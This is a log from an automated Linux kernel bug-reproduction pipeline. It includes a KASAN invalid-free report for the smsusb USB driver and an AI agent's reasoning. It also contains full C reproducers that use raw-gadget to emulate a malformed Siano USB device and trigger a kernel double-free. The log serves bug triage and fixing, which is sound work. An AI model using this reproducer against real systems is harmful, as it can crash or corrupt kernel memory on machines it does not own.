 port_event drivers/usb/core/hub.c:5884 [inline]
 hub_event+0x28e8/0x4d30 drivers/usb/core/hub.c:5966
 process_one_work kernel/workqueue.c:3387 [inline]
 process_scheduled_works+0xc3d/0x1630 kernel/workqueue.c:3470
 worker_thread+0xa47/0xfb0 kernel/workqueue.c:3551
 kthread+0x38b/0x480 kernel/kthread.c:436
 ret_from_fork+0x514/0xb70 arch/x86/kernel/process.c:158
 ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:245
 </TASK>

Allocated by task 3388:
 kasan_save_stack mm/kasan/common.c:57 [inline]
 kasan_save_track+0x3e/0x80 mm/kasan/common.c:78
 poison_kmalloc_redzone mm/kasan/common.c:398 [inline]
 __kasan_kmalloc+0x93/0xb0 mm/kasan/common.c:415
 kasan_kmalloc include/linux/kasan.h:263 [inline]
 __do_kmalloc_node mm/slub.c:5414 [inline]
 __kmalloc_node_track_caller_noprof+0x4b4/0x720 mm/slub.c:5545
 kmalloc_reserve net/core/skbuff.c:637 [inline]
 __alloc_skb+0x2c1/0x7a0 net/core/skbuff.c:715
 alloc_skb include/linux/skbuff.h:1384 [inline]
 nsim_dev_trap_skb_build drivers/net/netdevsim/dev.c:744 [inline]
 nsim_dev_trap_report drivers/net/netdevsim/dev.c:801 [inline]
 nsim_dev_trap_report_work+0x25f/0xb40 drivers/net/netdevsim/dev.c:847
 process_one_work kernel/workqueue.c:3387 [inline]
 process_scheduled_works+0xc3d/0x1630 kernel/workqueue.c:3470
 worker_thread+0xa47/0xfb0 kernel/workqueue.c:3551
 kthread+0x38b/0x480 kernel/kthread.c:436
 ret_from_fork+0x514/0xb70 arch/x86/kernel/process.c:158
 ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:245

Freed by task 3388:
 kasan_save_stack mm/kasan/common.c:57 [inline]
 kasan_save_track+0x3e/0x80 mm/kasan/common.c:78
 kasan_save_free_info+0x40/0x50 mm/kasan/generic.c:584
 poison_slab_object mm/kasan/common.c:253 [inline]
 __kasan_slab_free+0x5c/0x80 mm/kasan/common.c:285
 kasan_slab_free include/linux/kasan.h:235 [inline]
 slab_free_hook mm/slub.c:2748 [inline]
 slab_free mm/slub.c:6499 [inline]
 kfree+0x1c5/0x650 mm/slub.c:6792
 skb_kfree_head net/core/skbuff.c:1083 [inline]
 skb_free_head net/core/skbuff.c:1095 [inline]
 skb_release_data+0x85e/0xab0 net/core/skbuff.c:1122
 skb_release_all net/core/skbuff.c:1197 [inline]
 __kfree_skb+0x5d/0x210 net/core/skbuff.c:1211
 nsim_dev_trap_report drivers/net/netdevsim/dev.c:817 [inline]
 nsim_dev_trap_report_work+0x7ac/0xb40 drivers/net/netdevsim/dev.c:847
 process_one_work kernel/workqueue.c:3387 [inline]
 process_scheduled_works+0xc3d/0x1630 kernel/workqueue.c:3470
 worker_thread+0xa47/0xfb0 kernel/workqueue.c:3551
 kthread+0x38b/0x480 kernel/kthread.c:436
 ret_from_fork+0x514/0xb70 arch/x86/kernel/process.c:158
 ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:245

The buggy address belongs to the object at ffff888058ab0000
 which belongs to the cache kmalloc-4k of size 4096
The buggy address is located 0 bytes to the right of
 4096-byte region [ffff888058ab0000, ffff888058ab1000)

The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x58ab0
head: order:3 mapcount:0 entire_mapcount:0 nr_pages_mapped:0 pincount:0
flags: 0xfff00000000040(head|node=0|zone=1|lastcpupid=0x7ff)
page_type: f5(slab)
raw: 00fff00000000040 ffff88813ff12140 dead000000000100 dead000000000122
raw: 0000000000000000 0000000000040004 00000000f5000000 0000000000000000
head: 00fff00000000040 ffff88813ff12140 dead000000000100 dead000000000122
head: 0000000000000000 0000000000040004 00000000f5000000 0000000000000000
head: 00fff00000000003 fffffffffffffe01 00000000ffffffff 00000000ffffffff
head: ffffffffffffffff 0000000000000000 00000000ffffffff 0000000000000008
page dumped because: kasan: bad access detected
page_owner tracks the page as allocated
page last allocated via order 3, migratetype Unmovable, gfp_mask 0xd2820(GFP_ATOMIC|__GFP_NOWARN|__GFP_NORETRY|__GFP_COMP|__GFP_NOMEMALLOC), pid 3388, tgid 3388 (kworker/u8:12), ts 77776651868
 set_page_owner include/linux/page_owner.h:33 [inline]
 post_alloc_hook+0x1f9/0x250 mm/page_alloc.c:1871
 prep_new_page mm/page_alloc.c:1879 [inline]
 get_page_from_freelist+0x2209/0x2280 mm/page_alloc.c:3943
 __alloc_frozen_pages_noprof+0x217/0x5a0 mm/page_alloc.c:5436
 alloc_slab_page mm/slub.c:3347 [inline]
 allocate_slab+0x7d/0x620 mm/slub.c:3462
 new_slab mm/slub.c:3513 [inline]
 refill_objects+0x2d5/0x350 mm/slub.c:7410
 refill_sheaf mm/slub.c:2885 [inline]
 __pcs_replace_empty_main+0x2c8/0x6c0 mm/slub.c:4774
 alloc_from_pcs mm/slub.c:4850 [inline]
 slab_alloc_node mm/slub.c:4984 [inline]
 __do_kmalloc_node mm/slub.c:5413 [inline]
 __kmalloc_node_track_caller_noprof+0x548/0x720 mm/slub.c:5545
 kmalloc_reserve net/core/skbuff.c:637 [inline]
 __alloc_skb+0x2c1/0x7a0 net/core/skbuff.c:715
 alloc_skb include/linux/skbuff.h:1384 [inline]
 nsim_dev_trap_skb_build drivers/net/netdevsim/dev.c:744 [inline]
 nsim_dev_trap_report drivers/net/netdevsim/dev.c:801 [inline]
 nsim_dev_trap_report_work+0x25f/0xb40 drivers/net/netdevsim/dev.c:847
 process_one_work kernel/workqueue.c:3387 [inline]
 process_scheduled_works+0xc3d/0x1630 kernel/workqueue.c:3470
 worker_thread+0xa47/0xfb0 kernel/workqueue.c:3551
 kthread+0x38b/0x480 kernel/kthread.c:436
 ret_from_fork+0x514/0xb70 arch/x86/kernel/process.c:158
 ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:245
page last free pid 48 tgid 48 ts 77606871666 stack trace:
 reset_page_owner include/linux/page_owner.h:26 [inline]
 __free_pages_prepare mm/page_alloc.c:1418 [inline]
 __free_pages_ok+0xb6c/0xc60 mm/page_alloc.c:1596
 smscore_unregister_device+0x48a/0x780 drivers/media/common/siano/smscoreapi.c:1228
 smsusb_term_device+0x1a0/0x3d0 drivers/media/usb/siano/smsusb.c:349
 smsusb_init_device drivers/media/usb/siano/smsusb.c:497 [inline]
 smsusb_probe+0x1aba/0x2280 drivers/media/usb/siano/smsusb.c:575
 usb_probe_interface+0x788/0xe50 drivers/usb/core/driver.c:399
 call_driver_probe drivers/base/dd.c:-1 [inline]
 really_probe+0x254/0xae0 drivers/base/dd.c:706
 __driver_probe_device+0x1e8/0x360 drivers/base/dd.c:868
 driver_probe_device+0x4f/0x240 drivers/base/dd.c:898
 __device_attach_driver+0x270/0x410 drivers/base/dd.c:1026
 bus_for_each_drv+0x258/0x2f0 drivers/base/bus.c:500
 __device_attach+0x2c4/0x450 drivers/base/dd.c:1098
 device_initial_probe+0xa1/0xd0 drivers/base/dd.c:1153
 bus_probe_device+0x12a/0x220 drivers/base/bus.c:620
 device_add+0x7d7/0xb80 drivers/base/core.c:3776
 usb_set_configuration+0x1ad8/0x2180 drivers/usb/core/message.c:2268
 usb_generic_driver_probe+0x8d/0x150 drivers/usb/core/generic.c:250

Memory state around the buggy address:
 ffff888058ab0f00: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
 ffff888058ab0f80: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
>ffff888058ab1000: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
                   ^
 ffff888058ab1080: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
 ffff888058ab1100: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
==================================================================

Strategy: An excellent root cause analysis! The bug is indeed a KASAN invalid-free caused by the `smsusb` driver incorrectly setting the `URB_FREE_BUFFER` flag on a buffer that is managed by `smscore` (the `common_buffer`). When `usb_submit_urb()` fails during probe, the error path frees the `common_buffer` and then calls `usb_free_urb()`, which attempts to `kfree()` the already-freed buffer chunk again.

To trigger this reliably, we can emulate a USB device that matches the `smsusb` driver but provides an **Interrupt IN** endpoint instead of the expected **Bulk IN** endpoint. The driver will attempt to submit a Bulk URB to this Interrupt endpoint, causing `usb_submit_urb()` to reject it with `-EINVAL` and immediately triggering the buggy cleanup path.

Here is the complete C reproducer using `raw-gadget`.

```c
#define _GNU_SOURCE
#include <endian.h>
#include <fcntl.h>
#include <linux/usb/ch9.h>
#include <linux/usb/raw_gadget.h>
#include <pthread.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <unistd.h>

static int fd;

static void usb_raw_init(void)
{
	fd = open("/dev/raw-gadget", O_RDWR);
	if (fd < 0) {
		perror("open /dev/raw-gadget");
		exit(1);
	}

	struct usb_raw_init init;
	memset(&init, 0, sizeof(init));
	strcpy((char *)init.driver_name, "dummy_udc");
	strcpy((char *)init.device_name, "dummy_udc.0");
	init.speed = 3; // USB_SPEED_HIGH

	if (ioctl(fd, USB_RAW_IOCTL_INIT, &init) < 0) {
		perror("ioctl USB_RAW_IOCTL_INIT");
		exit(1);
	}
}

static void usb_raw_run(void)
{
	if (ioctl(fd, USB_RAW_IOCTL_RUN, 0) < 0) {
		perror("ioctl USB_RAW_IOCTL_RUN");
		exit(1);
	}
}

static void usb_raw_ep_enable(int ep, struct usb_endpoint_descriptor *desc)
{
	struct usb_raw_ep_io io;
	io.ep = ep;
	io.flags = 0;
	io.length = sizeof(*desc);
	io.data = (uint8_t *)desc;
	if (ioctl(fd, USB_RAW_IOCTL_EP_ENABLE, &io) < 0) {
		perror("ioctl USB_RAW_IOCTL_EP_ENABLE");
	}
}

static void usb_raw_vbus_draw(void)
{
	struct usb_raw_vbus_set vbus;
	vbus.mA = 200;
	if (ioctl(fd, USB_RAW_IOCTL_VBUS_DRAW, &vbus) < 0) {
		perror("ioctl USB_RAW_IOCTL_VBUS_DRAW");
	}
}

struct usb_device_descriptor dev_desc;
struct usb_config_descriptor conf_desc;
struct usb_interface_descriptor intf_desc;
struct usb_endpoint_descriptor ep1_desc;
struct usb_endpoint_descriptor ep2_desc;

static void setup_descriptors(void)
{
	dev_desc.bLength = sizeof(dev_desc);
	dev_desc.bDescriptorType = USB_DT_DEVICE;
	dev_desc.bcdUSB = htole16(0x0200);
	dev_desc.bDeviceClass = USB_CLASS_VENDOR_SPEC;
	dev_desc.bDeviceSubClass = 0;
	dev_desc.bDeviceProtocol = 0;
	dev_desc.bMaxPacketSize0 = 64;
	/* Match SMS1XXX_BOARD_SIANO_STELLAR */
	dev_desc.idVendor = htole16(0x187f);
	dev_desc.idProduct = htole16(0x0100);
	dev_desc.bcdDevice = htole16(0x0100);
	dev_desc.iManufacturer = 0;
	dev_desc.iProduct = 0;
	dev_desc.iSerialNumber = 0;
	dev_desc.bNumConfigurations = 1;

	conf_desc.bLength = sizeof(conf_desc);
	conf_desc.bDescriptorType = USB_DT_CONFIG;
	conf_desc.wTotalLength = htole16(sizeof(conf_desc) +
					 sizeof(intf_desc) +
					 2 * sizeof(struct usb_endpoint_descriptor));
	conf_desc.bNumInterfaces = 1;
	conf_desc.bConfigurationValue = 1;
	conf_desc.iConfiguration = 0;
	conf_desc.bmAttributes = USB_CONFIG_ATT_ONE | USB_CONFIG_ATT_SELFPOWER;
	conf_desc.bMaxPower = 50;

	intf_desc.bLength = sizeof(intf_desc);
	intf_desc.bDescriptorType = USB_DT_INTERFACE;
	intf_desc.bInterfaceNumber = 0;
	intf_desc.bAlternateSetting = 0;
	intf_desc.bNumEndpoints = 2;
	intf_desc.bInterfaceClass = USB_CLASS_VENDOR_SPEC;
	intf_desc.bInterfaceSubClass = 0;
	intf_desc.bInterfaceProtocol = 0;
	intf_desc.iInterface = 0;

	ep1_desc.bLength = sizeof(ep1_desc);
	ep1_desc.bDescriptorType = USB_DT_ENDPOINT;
	ep1_desc.bEndpointAddress = 0x81; // IN
	/* CRITICAL: Interrupt attribute causes usb_submit_urb() to fail with -EINVAL */
	ep1_desc.bmAttributes = USB_ENDPOINT_XFER_INT; 
	ep1_desc.wMaxPacketSize = htole16(512);
	ep1_desc.bInterval = 1;

	ep2_desc.bLength = sizeof(ep2_desc);
	ep2_desc.bDescriptorType = USB_DT_ENDPOINT;
	ep2_desc.bEndpointAddress = 0x02; // OUT
	ep2_desc.bmAttributes = USB_ENDPOINT_XFER_BULK;
	ep2_desc.wMaxPacketSize = htole16(512);
	ep2_desc.bInterval = 0;
}

static void handle_ep0(void)
{
	struct usb_raw_event event;
	uint8_t buf[256];

	while (1) {
		if (ioctl(fd, USB_RAW_IOCTL_EVENT_FETCH, &event) < 0) {
			perror("ioctl USB_RAW_IOCTL_EVENT_FETCH");
			break;
		}

		if (event.type == USB_RAW_EVENT_CONNECT) {
			printf("Connected\n");
		} else if (event.type == USB_RAW_EVENT_CONTROL) {
			struct usb_ctrlrequest *ctrl = (struct usb_ctrlrequest *)&event.ctrl;
			struct usb_raw_ep_io io;
			io.ep = 0;
			io.flags = 0;
			io.length = 0;
			io.data = NULL;

			if ((ctrl->bRequestType & USB_TYPE_MASK) == USB_TYPE_STANDARD) {
				switch (ctrl->bRequest) {
				case USB_REQ_GET_DESCRIPTOR:
					if (ctrl->wValue >> 8 == USB_DT_DEVICE) {
						io.length = sizeof(dev_desc);
						if (io.length > ctrl->wLength)
							io.length = ctrl->wLength;
						io.data = (uint8_t *)&dev_desc;
					} else if (ctrl->wValue >> 8 == USB_DT_CONFIG) {
						memcpy(buf, &conf_desc, sizeof(conf_desc));
						memcpy(buf + sizeof(conf_desc), &intf_desc, sizeof(intf_desc));
						memcpy(buf + sizeof(conf_desc) + sizeof(intf_desc), &ep1_desc, sizeof(ep1_desc));
						memcpy(buf + sizeof(conf_desc) + sizeof(intf_desc) + sizeof(ep1_desc), &ep2_desc, sizeof(ep2_desc));
						
						io.length = sizeof(conf_desc) + sizeof(intf_desc) + 2 * sizeof(struct usb_endpoint_descriptor);
						if (io.length > ctrl->wLength)
							io.length = ctrl->wLength;
						io.data = buf;
					} else if (ctrl->wValue >> 8 == USB_DT_STRING) {
						uint8_t str_desc[] = {4, USB_DT_STRING, 0x09, 0x04};
						memcpy(buf, str_desc, sizeof(str_desc));
						io.length = sizeof(str_desc);
						if (io.length > ctrl->wLength)
							io.length = ctrl->wLength;
						io.data = buf;
					}
					break;
				case USB_REQ_SET_CONFIGURATION:
					usb_raw_ep_enable(1, &ep1_desc);
					usb_raw_ep_enable(2, &ep2_desc);
					usb_raw_vbus_draw();
					break;
				}
			}

			if (ctrl->bRequestType & USB_DIR_IN) {
				if (ioctl(fd, USB_RAW_IOCTL_EP0_WRITE, &io) < 0) {
					perror("ioctl USB_RAW_IOCTL_EP0_WRITE");
				}
			} else {
				if (ioctl(fd, USB_RAW_IOCTL_EP0_READ, &io) < 0) {
					perror("ioctl USB_RAW_IOCTL_EP0_READ");
				}
			}
		}
	}
}

int main(void)
{
	setup_descriptors();
	usb_raw_init();
	usb_raw_run();
	handle_ep0();
	return 0;
}
```


Previous Reproducer Attempt:
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <sys/ioctl.h>
#include <linux/types.h>
#include <dirent.h>

#define UDC_NAME_LENGTH_MAX 128

struct usb_raw_init {
    __u8    driver_name[UDC_NAME_LENGTH_MAX];
    __u8    device_name[UDC_NAME_LENGTH_MAX];
    __u8    speed;
};

#define USB_RAW_IOCTL_INIT      _IOW('U', 0, struct usb_raw_init)

int main() {
    int fd = open("/dev/raw-gadget", O_RDWR);
    if (fd < 0) {
        printf("[-] Failed to open /dev/raw-gadget: %s\n", strerror(errno));
        return 1;
    }
    printf("[+] Successfully opened /dev/raw-gadget\n");

    DIR *dir = opendir("/sys/class/udc");
    if (!dir) {
        printf("[-] Failed to open /sys/class/udc: %s\n", strerror(errno));
        close(fd);
        return 1;
    }

    struct dirent *entry;
    char udc_name[UDC_NAME_LENGTH_MAX] = {0};
    while ((entry = readdir(dir)) != NULL) {
        if (entry->d_name[0] != '.') {
            strncpy(udc_name, entry->d_name, UDC_NAME_LENGTH_MAX - 1);
            break;
        }
    }
    closedir(dir);

    if (strlen(udc_name) == 0) {
        printf("[-] No UDC found in /sys/class/udc\n");
        close(fd);
        return 1;
    }
    printf("[+] Found UDC: %s\n", udc_name);

    struct usb_raw_init init_arg;
    memset(&init_arg, 0, sizeof(init_arg));
    
    if (strstr(udc_name, "dummy") != NULL) {
        strncpy((char *)init_arg.driver_name, "dummy_udc", UDC_NAME_LENGTH_MAX - 1);
    } else {
        strncpy((char *)init_arg.driver_name, udc_name, UDC_NAME_LENGTH_MAX - 1);
    }
    strncpy((char *)init_arg.device_name, udc_name, UDC_NAME_LENGTH_MAX - 1);
    init_arg.speed = 3; /* USB_SPEED_HIGH */

    int res = ioctl(fd, USB_RAW_IOCTL_INIT, &init_arg);
    if (res < 0) {
        printf("[-] Failed to initialize raw-gadget: %s\n", strerror(errno));
        close(fd);
        return 1;
    }
    printf("[+] Successfully initialized raw-gadget with %s\n", udc_name);

    close(fd);
    return 0;
}




Execution Results & Debugging Feedback:
The environment probe was successful. /dev/raw-gadget is accessible and dummy_udc is available. The environment is ready. Please proceed to generate the full reproducer in the next iteration.

188/4 2026/09/04 10:34 llm repro-generator
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 11270
							output: 2867
							thoughts: 3406
						

Thoughts:
**My Thought Process for Constructing the KASAN Reproducer**

Okay, so the core task here is to craft a reliable reproducer for a KASAN "invalid-free" bug discovered in the `usb_free_urb` function, specifically when interacting with the `smsusb` driver. My understanding is that the `smsusb` driver has a flaw where it incorrectly flags a buffer managed by `smscore` as `URB_FREE_BUFFER`. The problematic scenario unfolds during the device probe: if `usb_submit_urb()` fails (which it will in our crafted scenario), the driver's error handling path attempts to free this buffer *and then* calls `usb_free_urb()`. Since the buffer was already freed by the error path, `usb_free_urb()` then tries to `kfree()` an already-freed allocation, leading to the KASAN invalid-free detection.

To actually trigger this, I need to present a USB device that the `smsusb` driver will recognize – hence the specific vendor and product IDs (0x187f and 0x0100, corresponding to `SMS1XXX_BOARD_SIANO_STELLAR`). However, I need to deviate from the expected configuration. The driver anticipates a Bulk IN endpoint, but to provoke the `usb_submit_urb()` failure, I need to provide an Interrupt IN endpoint instead. This mismatch is the key to hitting the faulty error path.

I've been given a strategy and a previous reproducer attempt, which are valuable starting points. The earlier attempt was essentially a probe program designed to check for `/dev/raw-gadget` availability and determine if a UDC (USB Device Controller) was present. My current objective is to build a *full* reproducer, meaning it should actively emulate the USB device and trigger the bug.

Looking at the C code provided in the strategy, it utilizes `/dev/raw-gadget` for this USB device emulation. It defines the specific vendor and product IDs I need. It also sets up two endpoints: EP1 as an Interrupt IN endpoint (0x81) and EP2 as a Bulk OUT endpoint (0x02), both with a max packet size of 512. This aligns perfectly with the plan to trick `smsusb` with the interrupt endpoint.

Now, an important refinement: the strategy's C reproducer directly uses `dummy_udc`. However, the previous probe program demonstrated a more robust approach – dynamically discovering the available UDC from `/sys/class/udc`. This is crucial because the test environment might not always have `dummy_udc` available or configured. To ensure broader compatibility and reliability, I've decided to integrate the dynamic UDC finding logic from the probe program into the new reproducer.

So, the plan is to combine the dynamic UDC detection with the `raw-gadget` USB emulation code. I'll build the reproducer by:

1.  **Initializing `raw-gadget`:** Open `/dev/raw-gadget` and then dynamically find the active UDC from `/sys/class/udc`. This dynamic lookup is a significant improvement over hardcoding `dummy_udc`.
2.  **Configuring USB device:** Set up the USB device descriptor to match the `smsusb` driver's expectations (vendor/product IDs) but crucially configure EP1 as an Interrupt IN endpoint. This is the trigger.
3.  **Handling control requests:** Implement logic to respond to standard USB control requests, particularly `GET_DESCRIPTOR` to provide the device, configuration, and endpoint descriptors, and `SET_CONFIGURATION` to enable the endpoints.
4.  **Enabling endpoints:** When `SET_CONFIGURATION` is received, I'll enable EP1 (Interrupt IN) and EP2 (Bulk OUT) using `USB_RAW_IOCTL_EP_ENABLE`.
5.  **Running in a separate thread:** I'll use `pthread_create` to run the EP0 event handling in a background thread. This allows the main thread to simply sleep for a short duration (e.g., 5 seconds). During this sleep, the kernel will enumerate the device, `smsusb` will be probed, its probe function will call `usb_submit_urb()` with the interrupt endpoint, which will fail, leading to the bug.
6.  **Triggering the bug:** The `usb_submit_urb()` failure during the `smsusb` probe, coupled with the interrupt endpoint I've configured, should execute the flawed error path in `smsusb`, ultimately triggering the double-free scenario detected by KASAN.

The provided C code snippet directly implements these steps. It includes the necessary headers, functions for initializing and running `raw-gadget`, setting up descriptors, and handling EP0 events. The key part is the `setup_descriptors` function, where `ep1_desc.bmAttributes` is set to `USB_ENDPOINT_XFER_INT`, and the `handle_ep0` function that enables these endpoints upon configuration. Finally, the `main` function orchestrates this by calling `setup_descriptors`, `usb_raw_init`, `usb_raw_run`, creating the EP0 thread, and then pausing with `sleep(5)`. This pause is critical for allowing the kernel's USB subsystem and the `smsusb` driver to perform their actions and hit the bug. I'm confident this setup will reliably reproduce the KASAN invalid-free. I'll then wrap this logic within the `set-results` tool for formal submission.


189/4 2026/09/04 10:34 tool set-results
0m Args:
map[IsProbe:false RawCandidateReproC:#define _GNU_SOURCE
#include <endian.h>
#include <fcntl.h>
#include <linux/usb/ch9.h>
#include <linux/usb/raw_gadget.h>
#include <pthread.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <unistd.h>
#include <dirent.h>
#include <errno.h>

#define UDC_NAME_LENGTH_MAX 128

static int fd;

static void usb_raw_init(void)
{
	fd = open("/dev/raw-gadget", O_RDWR);
	if (fd < 0) {
		printf("[-] open /dev/raw-gadget failed: %s\n", strerror(errno));
		exit(1);
	}

	DIR *dir = opendir("/sys/class/udc");
	if (!dir) {
		printf("[-] Failed to open /sys/class/udc: %s\n", strerror(errno));
		exit(1);
	}

	struct dirent *entry;
	char udc_name[UDC_NAME_LENGTH_MAX] = {0};
	while ((entry = readdir(dir)) != NULL) {
		if (entry->d_name[0] != '.') {
			strncpy(udc_name, entry->d_name, UDC_NAME_LENGTH_MAX - 1);
			break;
		}
	}
	closedir(dir);

	if (strlen(udc_name) == 0) {
		printf("[-] No UDC found in /sys/class/udc\n");
		exit(1);
	}
	printf("[+] Found UDC: %s\n", udc_name);

	struct usb_raw_init init;
	memset(&init, 0, sizeof(init));
	if (strstr(udc_name, "dummy") != NULL) {
		strncpy((char *)init.driver_name, "dummy_udc", UDC_NAME_LENGTH_MAX - 1);
	} else {
		strncpy((char *)init.driver_name, udc_name, UDC_NAME_LENGTH_MAX - 1);
	}
	strncpy((char *)init.device_name, udc_name, UDC_NAME_LENGTH_MAX - 1);
	init.speed = 3; // USB_SPEED_HIGH

	if (ioctl(fd, USB_RAW_IOCTL_INIT, &init) < 0) {
		printf("[-] ioctl USB_RAW_IOCTL_INIT failed: %s\n", strerror(errno));
		exit(1);
	}
	printf("[+] USB_RAW_IOCTL_INIT successful.\n");
}

static void usb_raw_run(void)
{
	if (ioctl(fd, USB_RAW_IOCTL_RUN, 0) < 0) {
		printf("[-] ioctl USB_RAW_IOCTL_RUN failed: %s\n", strerror(errno));
		exit(1);
	}
	printf("[+] USB_RAW_IOCTL_RUN successful.\n");
}

static void usb_raw_ep_enable(int ep, struct usb_endpoint_descriptor *desc)
{
	struct usb_raw_ep_io io;
	io.ep = ep;
	io.flags = 0;
	io.length = sizeof(*desc);
	io.data = (uint8_t *)desc;
	if (ioctl(fd, USB_RAW_IOCTL_EP_ENABLE, &io) < 0) {
		printf("[-] ioctl USB_RAW_IOCTL_EP_ENABLE failed: %s\n", strerror(errno));
	}
}

static void usb_raw_vbus_draw(void)
{
	struct usb_raw_vbus_set vbus;
	vbus.mA = 200;
	if (ioctl(fd, USB_RAW_IOCTL_VBUS_DRAW, &vbus) < 0) {
		printf("[-] ioctl USB_RAW_IOCTL_VBUS_DRAW failed: %s\n", strerror(errno));
	}
}

struct usb_device_descriptor dev_desc;
struct usb_config_descriptor conf_desc;
struct usb_interface_descriptor intf_desc;
struct usb_endpoint_descriptor ep1_desc;
struct usb_endpoint_descriptor ep2_desc;

static void setup_descriptors(void)
{
	dev_desc.bLength = sizeof(dev_desc);
	dev_desc.bDescriptorType = USB_DT_DEVICE;
	dev_desc.bcdUSB = htole16(0x0200);
	dev_desc.bDeviceClass = USB_CLASS_VENDOR_SPEC;
	dev_desc.bDeviceSubClass = 0;
	dev_desc.bDeviceProtocol = 0;
	dev_desc.bMaxPacketSize0 = 64;
	/* Match SMS1XXX_BOARD_SIANO_STELLAR */
	dev_desc.idVendor = htole16(0x187f);
	dev_desc.idProduct = htole16(0x0100);
	dev_desc.bcdDevice = htole16(0x0100);
	dev_desc.iManufacturer = 0;
	dev_desc.iProduct = 0;
	dev_desc.iSerialNumber = 0;
	dev_desc.bNumConfigurations = 1;

	conf_desc.bLength = sizeof(conf_desc);
	conf_desc.bDescriptorType = USB_DT_CONFIG;
	conf_desc.wTotalLength = htole16(sizeof(conf_desc) +
					 sizeof(intf_desc) +
					 2 * sizeof(struct usb_endpoint_descriptor));
	conf_desc.bNumInterfaces = 1;
	conf_desc.bConfigurationValue = 1;
	conf_desc.iConfiguration = 0;
	conf_desc.bmAttributes = USB_CONFIG_ATT_ONE | USB_CONFIG_ATT_SELFPOWER;
	conf_desc.bMaxPower = 50;

	intf_desc.bLength = sizeof(intf_desc);
	intf_desc.bDescriptorType = USB_DT_INTERFACE;
	intf_desc.bInterfaceNumber = 0;
	intf_desc.bAlternateSetting = 0;
	intf_desc.bNumEndpoints = 2;
	intf_desc.bInterfaceClass = USB_CLASS_VENDOR_SPEC;
	intf_desc.bInterfaceSubClass = 0;
	intf_desc.bInterfaceProtocol = 0;
	intf_desc.iInterface = 0;

	ep1_desc.bLength = sizeof(ep1_desc);
	ep1_desc.bDescriptorType = USB_DT_ENDPOINT;
	ep1_desc.bEndpointAddress = 0x81; // IN
	/* CRITICAL: Interrupt attribute causes usb_submit_urb() to fail with -EINVAL */
	ep1_desc.bmAttributes = USB_ENDPOINT_XFER_INT; 
	ep1_desc.wMaxPacketSize = htole16(512);
	ep1_desc.bInterval = 1;

	ep2_desc.bLength = sizeof(ep2_desc);
	ep2_desc.bDescriptorType = USB_DT_ENDPOINT;
	ep2_desc.bEndpointAddress = 0x02; // OUT
	ep2_desc.bmAttributes = USB_ENDPOINT_XFER_BULK;
	ep2_desc.wMaxPacketSize = htole16(512);
	ep2_desc.bInterval = 0;
}

static void *handle_ep0(void *arg)
{
	struct usb_raw_event event;
	uint8_t buf[256];

	while (1) {
		if (ioctl(fd, USB_RAW_IOCTL_EVENT_FETCH, &event) < 0) {
			break;
		}

		if (event.type == USB_RAW_EVENT_CONNECT) {
			printf("[+] Connected\n");
		} else if (event.type == USB_RAW_EVENT_CONTROL) {
			struct usb_ctrlrequest *ctrl = (struct usb_ctrlrequest *)&event.ctrl;
			struct usb_raw_ep_io io;
			io.ep = 0;
			io.flags = 0;
			io.length = 0;
			io.data = NULL;

			if ((ctrl->bRequestType & USB_TYPE_MASK) == USB_TYPE_STANDARD) {
				switch (ctrl->bRequest) {
				case USB_REQ_GET_DESCRIPTOR:
					if (ctrl->wValue >> 8 == USB_DT_DEVICE) {
						io.length = sizeof(dev_desc);
						if (io.length > ctrl->wLength)
							io.length = ctrl->wLength;
						io.data = (uint8_t *)&dev_desc;
					} else if (ctrl->wValue >> 8 == USB_DT_CONFIG) {
						memcpy(buf, &conf_desc, sizeof(conf_desc));
						memcpy(buf + sizeof(conf_desc), &intf_desc, sizeof(intf_desc));
						memcpy(buf + sizeof(conf_desc) + sizeof(intf_desc), &ep1_desc, sizeof(ep1_desc));
						memcpy(buf + sizeof(conf_desc) + sizeof(intf_desc) + sizeof(ep1_desc), &ep2_desc, sizeof(ep2_desc));
						
						io.length = sizeof(conf_desc) + sizeof(intf_desc) + 2 * sizeof(struct usb_endpoint_descriptor);
						if (io.length > ctrl->wLength)
							io.length = ctrl->wLength;
						io.data = buf;
					} else if (ctrl->wValue >> 8 == USB_DT_STRING) {
						uint8_t str_desc[] = {4, USB_DT_STRING, 0x09, 0x04};
						memcpy(buf, str_desc, sizeof(str_desc));
						io.length = sizeof(str_desc);
						if (io.length > ctrl->wLength)
							io.length = ctrl->wLength;
						io.data = buf;
					}
					break;
				case USB_REQ_SET_CONFIGURATION:
					usb_raw_ep_enable(1, &ep1_desc);
					usb_raw_ep_enable(2, &ep2_desc);
					usb_raw_vbus_draw();
					break;
				}
			}

			if (ctrl->bRequestType & USB_DIR_IN) {
				if (ioctl(fd, USB_RAW_IOCTL_EP0_WRITE, &io) < 0) {
					printf("[-] ioctl USB_RAW_IOCTL_EP0_WRITE failed: %s\n", strerror(errno));
				}
			} else {
				if (ioctl(fd, USB_RAW_IOCTL_EP0_READ, &io) < 0) {
					printf("[-] ioctl USB_RAW_IOCTL_EP0_READ failed: %s\n", strerror(errno));
				}
			}
		}
	}
	return NULL;
}

int main(void)
{
	setup_descriptors();
	usb_raw_init();
	usb_raw_run();
	
	pthread_t thread;
	if (pthread_create(&thread, NULL, handle_ep0, NULL) != 0) {
		printf("[-] pthread_create failed\n");
		exit(1);
	}

	// Wait for the bug to trigger
	sleep(5);
	
	return 0;
}
]

Results:
map[IsProbe:false RawCandidateReproC:#define _GNU_SOURCE
#include <endian.h>
#include <fcntl.h>
#include <linux/usb/ch9.h>
#include <linux/usb/raw_gadget.h>
